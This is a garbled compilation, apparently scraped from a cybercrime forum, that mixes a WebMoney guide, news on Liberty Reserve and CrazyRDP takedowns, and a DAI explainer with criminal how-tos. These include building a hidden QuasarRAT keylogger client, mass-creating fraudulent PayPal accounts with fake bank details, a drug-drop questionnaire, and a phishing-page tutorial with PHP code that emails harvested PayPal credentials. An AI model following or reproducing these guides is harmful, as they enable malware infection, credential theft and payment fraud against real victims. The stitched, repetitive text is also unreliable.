Postal Order, the application looks like this: Which withdrawal method is more profitable? I decided to take out all the ways to display them in a separate table and compare the commission: Way Commission To a bank card / account From 2% without intermediaries, from 7% with intermediaries To the Yandex.Money electronic wallet Directly - no commission. They can also pay you extra through exchangers. Postal transfer RUB 55 + 2% Through exchange offices Varies depending on the item, on average 2-3% I withdraw money via Yandex Card. Through the exchanger I transfer them to Yandex.Wallet, and already with the help of the card I withdraw from the ATM. You can withdraw from Yandex.Cards up to 10,000 rubles per month without commissions. With the rest of the money I pay for goods and purchases, while receiving cashback. In my opinion, this is the most profitable way. About bank cards WebMoney As in any bank, on the WebMoney website you can order the issue of a debit card and use it in everyday life: withdraw money from an ATM, pay for purchases in stores, and so on. The WebMoney Cards service is responsible for this . On the WebMoney website you can order: Debit (plastic) card; A virtual card (it can be linked to Apple pay or Google pay and pay for any purchases in stores). How to get a plastic WebMoney card Unfortunately, it is not very profitable for Russian WebMoney users to get a plastic card, because it operates with dollars (USD) and euros (EURO), and not with rubles. At the time of this writing, the service produces the following plastic cards: PaySaprk USD MasterCard (replenishment from WMZ wallet, currency - dollars); PaySpark EUR MasterCard (top-up from WME wallet, currency - euro). You can order such a card using this link. However, you must fulfill certain conditions, namely: Have at least a formal passport; Upload utility bill. If you have not done something, the service will remind you of this. If everything is ok, you will be prompted to choose a card and fill out an application. Delivery is carried out by post. Please note that the issuance fee is $ 12 . As a result, you will receive an envelope with a card and activation instructions. After activation, the card will be displayed in your WebMoney, and you can replenish it from other wallets and convert currency if necessary. How to get a virtual Visa and MasterCard. Advantages and disadvantages If plastic cards are not very convenient for Russian WebMoney members, then a virtual card solves this problem. It provides the full functionality of a plastic card, but is securely stored on the Internet. The virtual card also has a number, expiration date and cvv code. It can be used both for payments on the Internet and for contactless payments in offline stores. There is only one card available - KKB Virtual (currency - rubles, replenishment from a WMR wallet). Getting it is quite simple - let's look at an example. For registration, go to the WebMoney Cards service, select "Virtual cards" -> "Order a card". On the next page, put a checkmark in front of two items (1) and click "Confirm" (2). Please note that your ruble account must have 50 rubles (commission for issuing a card, further servicing is free). We pay for the card like any other purchase. Immediately after payment in the WebMoney Cards service, your virtual card will appear in the "My cards / orders" section. But it takes a little time (1-2 minutes) for it to activate. The process is automatic. After refreshing the page, we will receive an activated card. Which has a 16-digit number, like the physical medium. The card details will be additionally sent in an SMS message to your number. When you click on the stripes on the right, additional options will appear. What's interesting here: Operation history - card credits / expenses; Withdraw to wallet - transfer of funds from a card to a WMR wallet; Requisites (number, validity period); Code word. Additional protection for the card. By default, the code word is a set of numbers, but you can come up with your own combination or word; Do not display in the keeper. Hide the map display in the Keeper program for a computer or phone. Now, if you look into the WebMoney application for your phone, you will find the card in the list of wallets. Click on it. And below you will see instructions for adding a card to Google Pay. That is, you can pay with this card in stores and terminals, and not only in online stores! The only drawback is that there is no cashback. Advantages and disadvantages of WebMoney. Personal experience of use I have been using the WebMoney wallet for a long time, for 5 years (from the moment I started making money on the Internet). This wallet never let me down - payments were rarely delayed, there were no break-ins. Surprisingly, even at the age of 15, I managed to easily replenish my wallet, since even in a small town there were terminals and ATMs with the WebMoney replenishment function. I am now 21 years old and I am still an active user of the wallet. I mainly use it as a salary - I get money from work on the Internet and transfer it to Yandex, and from there I withdraw from an ATM. I would like to highlight the advantages and disadvantages of the system that I have noted. Advantages: The main plus is internationality. WebMoney is an international system, and in this it fully justifies itself. I mean the abundance of currencies with which you can operate. A couple of simple examples when I needed dollars. For a while, I made money on YouTube through the Air affiliate program, which paid out rewards in dollars. And, of course, only for WMZ. The second example is an order from foreign stores. Some of them only accept dollars. Simplicity. WebMoney is really convenient to use - all the necessary information is displayed on one page. Payment in stores is also straightforward; Reliability. As you remember, to identify the wallet, you need to upload passport scans. This may seem dangerous to many, but for several years my account has not been hacked, and even more so there have been no database leaks in the system. Prevalence. WebMoney has its roots in many countries, and therefore in almost all online stores you can pay using this wallet. A wide range of services. You can pay utility bills, traffic fines, food, air tickets and much more. Fair exchange rate. As we have seen in one of the points of the article, WebMoney does not overstate the rate when exchanging currencies. Flaws: Many scammers start using WebMoney , as this system is easy to use; Blocking wallets. Personally, I have not come across this, but I learned from the Internet that WebMoney is merciless in this matter. If the wallet is blocked - 80% that you will not receive it back; The need to provide passport data. Without obtaining a formal certificate, you will not be able to use all the functionality of the service. For some, this will be a reason not to use WebMoney, but, again, there is nothing dangerous in this. Difficulty restoring access in case of loss of any data . For example, if you lost the SIM card to which your wallet is linked, along with it you lose access to using your money. To change the linked number in this case, you need to come personally to the WebMoney office (and they are not available in all even large cities). Or you will need a notarized statement, which must be sent by regular mail (not e-mail). Notary services are paid (signature certification - about a thousand rubles), in addition, all this takes a lot of time. Question answer WMZ (vmz) what is this currency Dollars. Webmoney Transfer what is it Webmoney (webmoney) is the abbreviated name of the entire system, which is fixed in the linguistic use of Internet users. Webmoney Transfer is the full name of the webmoney system, in which all monetary transactions and user protection take place. Just pronouncing two words is more difficult than one, which is why people usually use short web money. The specified parameters do not correspond to the member of the wmid system - I am trying to withdraw money through the exchanger, but when filling out the form, I get such an error, what am I doing wrong? This error most likely indicates that you made a mistake when entering data or indicate someone else's data. If you withdraw money to a card, then the card data must match your full name in the webmoney system. What can be paid using webmoney in Russia? Yes, practically everything. Telephone, internet, housing and communal services, taxes, fines. And if you issue a virtual card and link it to Google Pay, Apple Pay or any other contactless payment system, you can make purchases in cafes, restaurants, regular stores. In general, wherever a bank terminal is installed. Conclusion You will definitely need WebMoney if you decide to make money on the Internet and work remotely. WebMoney is one of the most popular electronic money systems. Competition it up only Yandex Money and in some moments POISON provides more favorable conditions, for example, can each month to cash without commissions 10,000 rubles. at any ATM, as well as issue a plastic card that can be used to pay in shops, cafes and receive cashback for it. In ordinary life, a WebMoney wallet is not so necessary. It is more profitable to pay for purchases on the Internet and in ordinary stores with bank cards with cashback. Also, I have always disliked the complexity of the system. Nevertheless, the e-wallet is absolutely free, so its presence will not be superfluous.

WebMoney hat gewonnen laut der umfrage mit fast 50% trodz nutz heute kaum wer webmoney

https://www.youtube.com/watch?v=GC-_R11EYu8 Es geht um mindestens sechs Milliarden US-Dollar und Geldwäsche im großen Stil. euronews, der meistgesehene Nachrichtensender in Europa. Abonnieren Sie die täglich neue Auswahl internationaler Nachrichten: http://eurone.ws/ZdYLxf Euronews gibt es in 12 Sprachen :http://eurone.ws/ZcsZh5 Der Betreiber der Internetseite Liberty Reserve und vier seiner Mitarbeiter sind festgenommen worden - an den Ermittlungen der Staatsanwaltschaft in New York seien die Behörden 17 verschiedener Länder beteiligt. Dem in Costa Rica ansässigen Unternehmen wird vorgeworfen, über das Online-Bezahlverfahren Summen in Milliardenhöhe gewaschen zu haben. Das Geld soll aus diversen illegalen Quellen stammen, die mit Einnahmen aus unter anderem Kreditkartenbetrug und Drogenhandel gespeist wurden. "Liberty Reserve wurde gegründet und aufgebaut, um kriminelle Handlungen durchzuführen. Es war eine Schwarzmarktbank. Es besteht der Vorwurf, dass Liberty Reserve vorsätzlich Kriminelle angelockt und ihnen geholfen hat, mittels der digitalen Währung Gesetze zu brechen und Gelder zu waschen", sagte der Staatsanwalt. Die Website wurde mittlerweile von US-Behörden gesperrt. Rund 55 Millionen Transaktionen wurden laut Staatsanwaltschaft seit 2006 über Liberty Reserve abgewickelt. Die Kunden hätten dabei weitgehend anonym handeln können. https://krebsonsecurity.com/2013/05/underweb-payments-post-liberty-reserve/

WebMoney war auch frühe sehr oft genutz wurden heute kaum

1: Wie lange war die Packstation für euch in Betrieb? 1 jahr 2: Wurde die PS für die Scene benutzt oder wurden nur neutrale und harmlose Waren darüber versandt? Amazon & drogen(nur cannabis) 3: Wer hat euch die PS verkauft? Maskanman 4: War das Passwort für die Packstation ein neutrales PW oder scenetypisch bzw. ein Schimpfwort? Normal Passwort wie jeder 0815 user

In brief. DAI is an Ethereum-based stablecoin. Its price is kept in check through a system of smart contracts that automatically execute themselves. The DeFi boom has heralded the emergence of a number of services offering to lend on DAI deposits. There are plenty of stable digital currencies available, but only one can claim to be widely used, decentralized , and trustless. In this article, we find out why DAI stands out from the rest of the stablecoin pack. Crypto with steady value isn’t new or rare. Tether has been around for years and is by far the largest stablecoin available. We also have stablecoins such as USDC, PAX, Gemini Coin, and Facebook's upcoming Diem (formerly Libra) all competing to be the stable cryptocurrency of choice, but they all rely on trusting someone to honestly keep dollars in the bank. DAI changes that. What is DAI? DAI is an ERC20 token on the Ethereum blockchain that has a steady value of one US dollar. It is also the key to the MakerDAO lending system. When a loan is taken out on MakerDAO, DAI is created. It’s the currency users borrow and pay-back. Once DAI is created, it functions simply as a stable Ethereum token. It can be used to pay for things and is easily transferred between Ethereum wallets. Who Invented DAI? DAI is a product of MakerDAO, which was founded by Rune Christensen, the current CEO. Did you know? The current version of DAI is technically an updated version of the stablecoin called multi-collateral DAI because it allows multiple types of crypto assets to be used to create DAI. The old version of DAI is now called SAI and known as single-collateral DAI because it could only be created by using ETH as collateral. The first crypto asset besides ETH accepted in the new multi-collateral DAI system is Basic Attention Token (BAT). What’s so special about it? The price of DAI is kept in check through a system of smart contracts automatically executing themselves. If the price of DAI fluctuates too far from one dollar, Maker (MKR) tokens are burned or created in order to stabilize the price of DAI. MakerDAO’s algorithms automatically manage the price of DAI so no one person needs to be trusted to keep the currency steady. If the system works as intended and one DAI equals one US dollar, MKR holders benefit because the total supply of MKR decreases–making MKR more rare and valuable. To date, DAI has remained stable for over three years with only minor fluctuations from its one dollar price peg. Did you know? MakerDAO upgraded its system to include the DAI Savings Rate in which DAI holders can lock their DAI holdings into MakerDAO’s Oasis app to earn interest. What else is different? Since DAI is simply a token on Ethereum, anybody can use or build with DAI without permission. As an ERC20 token, DAI functions as a building block that can be incorporated into any decentralized application (dapp) needing a stable asset or payment system. Developers can also wrap DAI in different smart contracts and modify it for different uses. For example, xDAI takes DAI and puts it on a superfast and low-cost sidechain to make transfers and payments easier and more efficient. Chai and rDAI takes normal DAI, puts it in an interest generating pool, and lets users control what happens to the interest as it accumulates. How is DAI produced? DAI is created whenever someone takes out a loan on MakerDAO. DAI is destroyed when loans are paid back. How do you get hold of DAI tokens? The most direct way to get DAI is by taking out a loan on MakerDAO’s Oasis platform. You can also trade DAI on that same platform or use a centralized exchange such as Coinbase. What can you do with DAI? One of the main uses for DAI is as a stable hedge or counterweight against the volatility of more popular crypto-assets such as Ethereum or Bitcoin. The stable value of DAI means it is good for investors or traders who believe the market is about to go down. Coinbase's debit card. Image: Coinbase The Best Bitcoin Debit Cards To Use In 2021 While a few retailers accept direct payments of cryptocurrency, the overwhelming majority do not. There’s a way around that, however: crypto debit cards—which let you spend your crypto just like they were fiat currencies, such as the US dollar, the British pound or the Euro. A crypto debit card, upon the point of sale, converts the crypto you have stored in your debit card account to the fiat currency that everyone accepts. You can use crypto debit cards at ATMs, in shops, and on online merchant... Reviews Others 7 min read Robert StevensDec 2, 2020 Since DAI is stable, it’s also one of the most ideal crypto assets to spend. The Coinbase Card allows users to spend DAI and other crypto assets by converting the crypto into fiat on a Visa card. If you are in the UK or Europe, you can also spend DAI using the Monolith Visa debit card. DeFi and DAI The 2020 boom in decentralized finance (DeFi) has seen DAI emerge as one of the most popular assets in the DeFi ecosystem. A number of services have emerged offering to lend on DAI deposits. Coinbase customers from the US, UK, Netherlands, Spain, France, and Australia can earn two percent a year on their DAI deposits. A dapp dubbed dPiggy not only allows users to earn interest, but also have their returns automatically used to purchase a variety of crypto assets at the end of each month. Bitcoin can now also be used to generate DAI. Stablecoins in the crosshairs A market crash in March 2020 threatened DAI’s stability, and developers introduced a controversial feature to allow it to maintain its peg aided by another stablecoin, USDC. Then, in July 2020, an upgrade to one of the major DeFi lending protocols again caused DAI to come off its peg, and the community voted to increase the system’s debt ceiling. The following month, it voted to prioritize GUSD, BUSD, and eight other tokens for inclusion as collateral, which would allow them to be used to create DAI, and create more liquidity. Most recently, regulators have turned their attention to stablecoins; in the US, the proposed STABLE Act would hold stablecoin issuers to some of the same standards as banks. Legislation of this kind could have serious consequences for a decentralized stablecoin such as DAI. Peter Van Valkenburgh, research director at crypto advocacy non-profit CoinCenter, argues that were the STABLE Act (or something like it) to pass, DAI validator nodes could find themselves in violation of the law unless they're a chartered bank. Nonetheless, geopolitical upheaval is making stablecoins more popular than ever; when Argentina imposed a new 35% tax on all purchases made in US dollars, DAI trading volume spiked on local exchanges on the news. The Future MakerDAO is working hard to brand DAI as the “world’s first unbiased currency” and it’s starting with the logo, which it wants to be as ubiquitous and recognizable as symbols for the dollar ($), euro (€), and pound (£). In the quest to become the first trustless mainstream currency, DAI will have to be adopted and used by millions of people–a task requiring not only branding, but also marketing and education. Though not an easy task, no other stablecoin is better positioned to make it happen

auscashen geht via advcash/skirll/netseller etc ich habe zu fs zeit angefangen 2010/2012 würde ja webmoney noch genutzen XMR & DAI Coin(decentralized stablecoin) ist auch gut

Perfect Money war keine online wallet sonder eine anonym e-wallet wie WebMoney es gib ja noch payeer / WebMoney jedoch kaum bzw 0 anonym wie PM Ja ware mega nice wann back komme

Hey, ist PerfectMoney.cc seriös? Ist das ein Betrug oder echt? Hier ist der Link von New Perfect Money https://perfectmoney.cc/ Was denkst du?

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1. Download QuasarRAT. https://github.com/q...sarRAT/releases 2. Order nVPN (Dedicated IP $8,00/mo) + BP Domain(Backup) nVpn.net - 100% Safe | NO Log VPN | Anonymous VPN | OpenVPN, Squid & Socks5 Proxy, L2TP/IPSec(IKEv1/2) | Portforward | Shared/Dedicated IP https://anotld.cc/ (BP Domains at 10$) After you order it, you will receive email with details to yours account, follow the guide that you receive on the email to get access to the vpn. Now you can open your port, after that connect to the VPN. 3. Extract and open QuasarRAT After that go to settings tab and put the port that you have open before, after that click "Start Listening" and click safe. 4. Builder Settings. Go to the builder tab, and connection settings put IP of your vpn in IP/Hostname section and port that you have open it before on nvpn website. 5. Installation Settings: First what you have to do is select "Install Client" after that change subdirectory and install name and change it to hidded if you want, and the last thing that you can do is change the startup name for something like "svchost" etc. 6. Surveillance Settings: The last thing before building the file is "Enable Keyboard Logging" and set the attributes to hidded and now finally click "Build" button, set the name on your file and save it on your desktop.

Was wird benötigt E-Mail Telefonnummer (activation oder rental) Proxys Antidetect Browser 2FA Authenticator Meine Empfehlungen: E-Mail Adressen GMX nutzten und auf Top Upgraden, das geht kinderleicht mit random ELVs, dort könnt ihr 49 unteradressen anlegen und braucht nicht immer mühsam neue Mails erstellen. Telefonnummern würde ich activations nehmen, hier gibt es viele bekannte Anbieter (sms-activate, anosim usw..) - rental ist seit Einführung von 2FA bei PayPal nicht mehr nötig. Proxys würde ich 911proxy.com empfehlen, Preisleistung ist top, schnell sind die auch und haben bis jetzt auch immer funktioniert. Antidetect Browser empfehle ich Linkensphere oder Dolphin, alternativ kann man aber auch Firefox Portable nutzen. 2FA Auth: Google Authenticator, bei massig PayPals hat man eine Suchfunktion. Durchführung 1. Ein neues Antidetect Profil erstellen, Proxy hinzufügen und starten alternativ: Firefox Portable mit einem Proxy Addon starten, z.b. FoxyProxy 2. Auf paypal.de gehen und ganz normal die registration starten. Die ausgewählten Daten können ruhig random sein und müssen auf keine echten ELVs zugeschnitten sein. Ihr gebt also Name+D.o.B. ein, danach geht es dann mit der Adresse weiter. Hier einfach einen Buchstaben eintippen und Google eine Adresse vorschlagen lassen (ist dann in Proxynähe) 3. Sobald euer PayPal nun registriert ist müsst ihr die Mail bestätigen, ich gehe dafür ganz gerne auf Einstellungen, dann kommt ein Popup und ihr könnt die Mail per Mailcode bestätigen. Wenn ihr den Link zur aktivierung nutzt der automatisch kommt müsst ihr euch neu einloggen. Problem wäre bei activations dass ihr hier nun einen weiteren Code anfordern müsst, was viele Anbieter aber nicht machen. 4. Der PayPal ist fertig braucht nun aber noch einen Feinschliff. Ihr geht nun auf Einstellungen -> Sicherheit -> 2FA und aktiviert dieses als erstes. Sobald dies geschehen ist müsst ihr noch eine IBAN+CC hinzufügen, diese müssen nicht bestätigt werden und auch nicht echt sein. Hierfür gibts auch viele free Seiten, beispiel: fakeit.receivefreesms.co.uk 5. Der PayPal ist nun fast einsatzfähig. Nun muss er nach aktuellem AFS stand noch 3 Tage agen (genau 3 Tage!), sonst bekommen die Vics einen Fraud Lock und PayPal wird die Zahlung nicht zulassen. Mit diesen PayPals könnt ihr nun 999€ pro Payment oder 2.500€ pro Quartal empfangen.

How to Create Scam page? Recently I have come across many guides about creating phishing pages. Although the principles behind each guide are similar, most of the hosting solutions provided in the guide does not work anymore due to an increase in the crackdown of phishing pages by the hosting companies. In this guide, I will go through every step necessary to create and host a phishing page of your choice. Enjoy for that we writing How to Code Scam Page. Step 1Download the HTML Index of the Target Webpage To start off, you need to obtain the HTML index of the page. There are various methods of doing this, there are even templates online for popular sites. In this tutorial, I am going to use the most basic way in order to be as noob-friendly as possible , lets know How to Code Scam Page Navigate to Your Webpage In this tutorial, I am going to phish Facebook. View the Source of the Webpage. Depending on your browser, there may be different methods. Normally it is done by right-clicking the site and clicking “View Source”. I have done that on my browser and windows should come out similar to this make sure to research on that more How to Code Scam Page On the box to the right is the source of the website. Which leads on to the next step: Downloading and Saving the Source Code Select the box, and copy-paste everything in the box to a txt document. Use Notepad on windows, and a simple text editing program if you are not using windows. (Don’t use programs like Word or Pages because it is really slow). After you have done that, click “Save As” or whatever option that allows you to save that document. On Notepad it should look like this: Change “Save as type” to All Files and change the encoding to Unicode. After that, name the document “index.html”, obviously without the speech marks How to Code Scam Page. Congratulations! You have finished the first step of the tutorial! How to Code Scam Page Step 2 Creating a PHP File for Password Harvesting The PHP file is basically the tool that harvests the users password in this scenario. There are several ways you can create this PHP if you have some programming knowledge, but if you don’t, just copy my exemplar PHP. Same as above, save the PHP file as “All Files” and as “post.php”. Change the encoding to Unicode and you should be ready to go! Step 3 Modify the Page HTML File to Incorporate Your PHP File in It. Now, we need to incorporate our PHP file, to receive passwords that the users send. Find the Password-Sending Method First, you need to see how the website deals when the user submits a username-password. For Facebook, all you need to do is to Ctrl-F and type “=action” in the field.https://0ba65e4a67cb4f162092f4edc8bf9129.safeframe.googlesyndication.com/safeframe/1-0-37/html/container.html Now, you need to replace everything in the underlined portion with “post.php”, keep the speech marks. (just one set please) How to Code Scam Page. Obviously, this method will be different for other websites. A good method to find it is by using the Inspect Elements tool in most modern browsers and clicking on the login button. Find something similar to the above method. How to Code Scam Page Please note: You will need to change this later when you actually host the website How to Code Scam Page How to Code Scam Page. Step 4 Hosting the PHP File for Password Storing Now here is the juicy part, making your fake website online so other people can browse it How to Code Scam Page. You can use any free hosting services to host and store passwords. However, the hosting plan has to include something called “FTP”. For this tutorial, I will be using 000webhost. Navigate to the FTP Server for Your Web Hosting Service For this step, I assume that you have already created a website with your hosting service.https://0ba65e4a67cb4f162092f4edc8bf9129.safeframe.googlesyndication.com/safeframe/1-0-37/html/container.html For 000webhost, you simply click on “File manager” and click “Upload Files”. Here is a picture of the FTP server for 000webhost: Ignore the other files, those are just some of my personal stuff, unrelated to this tutorial How to Code Scam Page. Upload Your PHP Files and Change Permission As you can see, I have already uploaded my PHP file. But you need to just upload it to the main folder of your FTP server. (Some FTP server doesn’t allow you to upload to the root folder, just follow their particular instructions). Now you need to change the permission to “777”, which is basically every single permission. When prompted to tick boxes for the permissions, just tick every single one How to Code Scam Page. Now you can close the FTP server. Note down your web address! Step 5 Hosting the Actual Phishing Page For this step, you will need to use the exact hosting provider that I use, otherwise you will get banned.https://0ba65e4a67cb4f162092f4edc8bf9129.safeframe.googlesyndication.com/safeframe/1-0-37/html/container.html There is a reason why I don’t use the same hosting provider for my actual page, and that is because most hosting providers will employ some kind of scanning to detect phishing pages. I can tried multiple hosting services in the past and all of them banned me within 30 mins of uploading the index file. Configuring the post.php Forum Now, before you host the website, remember the post.php/login form thing we configured above? You need to find the login form thing again in your index.html and replace the “post.php” with “http://yourwebsiteforyourpostphpupload/post.php”, assuming that you uploaded to the root folder. Remember to add HTTP:// in front of the site. In order to test this, navigate to the website (http://yourwebsiteforyourpostphpupload/post.php) and see if it redirects you to Facebook.com, if it does then you have pasted the correct site. If it doesn’t, then double-check if you have uploaded your file to the correct directory How to Code Scam Page. Hosting the Actual Page Navigate to htmlpasta.com. You will see something similar to this: Then, you need to copy the index.html file for your phishing site and paste it in here How to Code Scam Page. Now, click on the reCAPTCHA and click paste, you will get a link for your website How to Code Scam Page. Step 6 Congratulations! Congrats! You have finished hosting your first phishing site! Navigate to your site and try to enter some fake login details, after you click the login button, it should redirect you to facebook.com. Login to your FTP server that you hosted your post.php file, and there should be a new document called Log.txt that is stored within the same folder as your post.php file. Any login details should be stored there. Remember, please do not use this for malicious purpose, only use for penetration testing and with authorisation from your victims. If you have any question then please comment down below How to Code Scam Page. phishing is the term usedfor this scam.1] OK, so first we choose a target.We chose www.paypal.com2] Navigate the site chosen. Press CTRL + S and save the file. Html somewhere on yourcomputer.3] We open … There might be a problem, namely the way the image.4] If relative path (relative path is the path like / images / wow.gif) be transformed into an absolute path 5] Now that you clarified your lead you to the file. Html that was saved, so your login type CTRL + F … (Here the words are different .. try and password, password, username, etc.. Dak login does not work).6] You have a code like <form action=”login2.php”>. Login2.php change in 040147.php!7] Now, the username should be a code like . name = “email” tells us that in PHP script authentication is the variable that you email username.8] Good memory.The password, the code should be similar ( ). So, password is held in variable password. A and memorize it.9] Now, where you have saved. Html, created a new file called 040147.php.In it, add the following code:Code:$ To = “[email protected]”$ Name = $ _POST [’email’];$ Email = $ _POST [’email’];$ Subject = $ _POST [‘subject’];$ Password = $ _POST [‘password’];$ Agent = $ _SERVER [‘HTTP_USER_AGENT’];$ Ip = $ _SERVER [‘REMOTE_ADDR’];$ D = date (‘l dS \ of F Y h: i: s A’);$ Sub = “New Account Hacked PayPal – $ email”;$ Headers = “From: $ name <$ email> \ n”;$ Headers .= “Content-Type: text / plain, charset = iso-8859-1 \ n”;$ Mes .= ‘Username:’. $ Email. “\ N”;$ Msg .= “Password:”. $ Password. “\ N”;$ Msg .= “Browser:”. $ Agent. “\ N”;$ Msg .= “IP:”. $ Ip. “\ N”;$ Mes .= ‘Date and time:’. $ D;(mail ($ to, $ sub, $ mes, $ headers);header (“Location: www.paypal.com“);)?>10] Modify codeCode:$ To = “[email protected]”and put your mail. The code above variables over email and password and sends them together with some more useful details.11] Rename. Or HTML into index.html. Php, you upload the 2 files on a host and entertain. : Wink:YOUR SCAMPAGE IS READY NOW. ENJOY SPAMMING How to Code Scam Page How does this scam work? A scammer contacts you pretending to be from a legitimate business such a bank, telephone or internet service provider. You may be contacted by email, social media, phone call, or text message.Clues for spotting a fake email The scammer asks you to provide or confirm your personal details. For example, the scammer may say that the bank or organisation is verifying customer records due to a technical error that wiped out customer data. Or, they may ask you to fill out a customer survey and offer a prize for participating. Alternatively, the scammer may alert you to ‘unauthorised or suspicious activity on your account’. You might be told that a large purchase has been made in a foreign country and asked if you authorised the payment. If you reply that you didn’t, the scammer will ask you to confirm your credit card or bank details so the ‘bank’ can investigate. In some cases the scammer may already have your credit card number and ask you to confirm your identity by quoting the 3 or 4 digit security code printed on the card How to Code Scam Page. Phishing messages are designed to look genuine, and often copy the format used by the organisation the scammer is pretending to represent, including their branding and logo. They will take you to a fake website that looks like the real deal, but has a slightly different address. For example, if the legitimate site is ‘www.realbank.com.au’, the scammer may use an address like ‘www.reallbank.com’. If you provide the scammer with your details online or over the phone, they will use them to carry out fraudulent activities, such as using your credit cards and stealing your money. Spamming is the use of messaging systems to send an unsolicited message (spam) to large numbers of recipients for the purpose of commercial advertising, for the purpose of non-commercial proselytizing, or for any prohibited purpose (especially the fraudulent purpose of phishing). While the most widely recognized form of spam is email spam, the term is applied to similar abuses in other media: instant messaging spam, Usenet newsgroup spam, Web search engine spam, spam in blogs, wiki spam, online classified ads spam, mobile phone messaging spam, Internet forum spam, junk fax transmissions, social spam, spam mobile apps,[1] television advertising and file sharing spam. It is named after Spam, luncheon meat, by way of a Monty Python sketch about a restaurant that has Spam in almost every dish and where Vikings annoyingly sing “Spam” over and over again.[2] Spamming remains economically viable because advertisers have no operating costs beyond the management of their mailing lists, servers, infrastructures, IP ranges, and domain names, and it is difficult to hold senders accountable for their mass mailings. The costs, such as lost productivity and fraud, are borne by the public and by Internet service providers, which have added extra capacity to cope with the volume. Spamming has been the subject of legislation in many jurisdictions How to Code Scam Page. A person who creates spam is called a spammer. Mobile phone Mobile phone spam Mobile phone spam is directed at the text messaging service of a mobile phone. This can be especially irritating to customers not only for the inconvenience but also because of the fee they may be charged per text message received in some markets. To comply with CAN-SPAM regulations in the US, SMS messages now must provide options of HELP and STOP, the latter to end communication with the advertiser via SMS altogether How to Code Scam Page. Despite the high number of phone users, there has not been so much phone spam, because there is a charge for sending SMS. Recently, there are also observations of mobile phone spam delivered via browser push notifications. These can be a result of allowing websites which are malicious or delivering malicious ads to send a user notifications.[ Social networking spam Main article: Social networking spam Facebook and Twitter are not immune to messages containing spam links. Spammers hack into accounts and send false links under the guise of a user’s trusted contacts such as friends and family. As for Twitter, spammers gain credibility by following verified accounts such as that of Lady Gaga; when that account owner follows the spammer back, it legitimizes the spammer. Twitter has studied what interest structures allow their users to receive interesting tweets and avoid spam, despite the site using the broadcast model, in which all tweets from a user are broadcast to all followers of the user. Spammers, out of malicious intent, post either unwanted (or irrelevant) information or spread misinformation on social media platforms How to Code Scam Page How to Code Scam Page. Social spam Spreading beyond the centrally managed social networking platforms, user-generated content increasingly appears on business, government, and nonprofit websites worldwide. Fake accounts and comments planted by computers programmed to issue social spam can infiltrate these websites. Blog, wiki, and guestbook Main article: Spam in blogs How to Code Scam Page Blog spam is spamming on weblogs. In 2003, this type of spam took advantage of the open nature of comments in the blogging software Movable Type by repeatedly placing comments to various blog posts that provided nothing more than a link to the spammer’s commercial web site.[30] Similar attacks are often performed against wikis and guestbooks, both of which accept user contributions. Another possible form of spam in blogs is the spamming of a certain tag on websites such as Tumblr. How to Code Scam Page Whaling and spear-phishing – the scammer targets a business in an attempt to get confidential information for fraudulent purposes. To make their request appear legitimate, they use details and information specific to the business that they have obtained elsewhere. Pharming – the scammer redirects you to a fake version of a legitimate website you are trying to visit. This is done by infecting your computer with malware which causes you to be redirected to the fake site, even if you type the real address or click on your bookmarked link. Warning signs You receive an email, text, or phone call claiming to be from a bank, telecommunications provider, or other business you regularly deal with, asking you to update or verify your details. The email or text message does not address you by your proper name and may contain typing errors and grammatical mistakes. The website address does not look like the address you usually use and is requesting details the legitimate site does not normally ask for. You notice new icons on your computer screen, or your computer is not as fast as it normally is How to Code Scam Page Protect yourself How to Code Scam Page Always keep your computer security up to date with anti-virus and anti-spyware software, and a good firewall. Only buy a computer and anti-virus software from a reputable source. Use your security software to run a virus check if you think your computer’s security has been compromised. If you still have doubts, contact your anti-virus software provider or a computer specialist. Secure your networks and devices, and avoid using public computers or WiFi hotspots to access or provide personal information. Choose passwords and PINs that would be difficult for others to guess, and update them regularly. Do not save them on your phone or computer. Do not open attachments or click on links in emails or social media messages you’ve received from strangers – just press delete. Be wary of free downloads and website access, such as music, games, movies and adult sites. They may install harmful programs without you knowing. Do not use software that auto-completes online forms. Visit Stay Smart Online for tips on how to protect your personal and financial information online How to Code Scam Page.

CrazyRDP, a "bulletproof "hosting service mainly used by cybercriminals and hackers, has been taken offline after police in the Netherlands seized much of its hardware. In a press release, the Dutch police said it moved against an unnamed bulletproof hosting service, active since 2022, and being cited in more than 80 different investigations, both local and international. During the operation, which took place on November 12, the police seized around 250 servers found in data centers in The Hague and Zoetermeer, the police explained. Site offline "Because of the seizure of these physical servers, thousands of virtual servers were also taken offline,” the announcement reads. Latest Videos From TechRadar Best picks for you A concept image showing smart industry, data exchange, cloud computing, and the Internet of Things. Another bulletproof hosting service has been locked down by global law forces Phishing, E-Mail, Network Security, Computer Hacker, Cloud Computing Cyber Security 3d Illustration Top infostealer disrupted after criminals lose server access Malware attack virus alert , malicious software infection , cyber security awareness training to protect business Operation Endgame 3.0 push takes down more cybercrime servers, disrupting criminal gangs Bulletproof hosting is a type of web hosting service that deliberately ignores or resists takedown requests, abuse reports, and legal complaints. As such, it is incredibly popular among cybercriminals, as they can use it to host malicious infrastructure (infostealing landing pages, malware) without fear of breaking the service provider’s ToS. What’s more, the service provider does not enforce Know Your Customer (KYC), offering full anonymity for miscreants of all walks of life. While the Dutch police did not say the name of the company whose infrastructure was dismantled, BleepingComputer reports it was CrazyRPD, a company that offered both VPS and RDP services, allowed people to open accounts without KYC, kept no logs, and only required a username and a password to create an account. Indeed, the company’s website is now offline and cannot be accessed. On Reddit, some users are praising the law enforcement, saying “nothing is bulletproof”, while others advocate for using VPS services in jurisdictions that look kindlier towards such practices. Are you a pro? Subscribe to our newsletter Sign up to the TechRadar Pro newsletter to get all the top news, opinion, features and guidance your business needs to succeed! Contact me with news and offers from other Future brands Receive email from us on behalf of our trusted partners or sponsors By submitting your information you agree to the Terms & Conditions and Privacy Policy and are aged 16 or over. Since no arrests were made, it is safe to assume that CrazyRDP (or a rebrand) will be back, sooner or later. The police will now analyze the seized servers to try doxxing both the operators and the users. https://www.techradar.com/pro/security/bulletproof-hosting-service-shut-down-in-massive-police-sting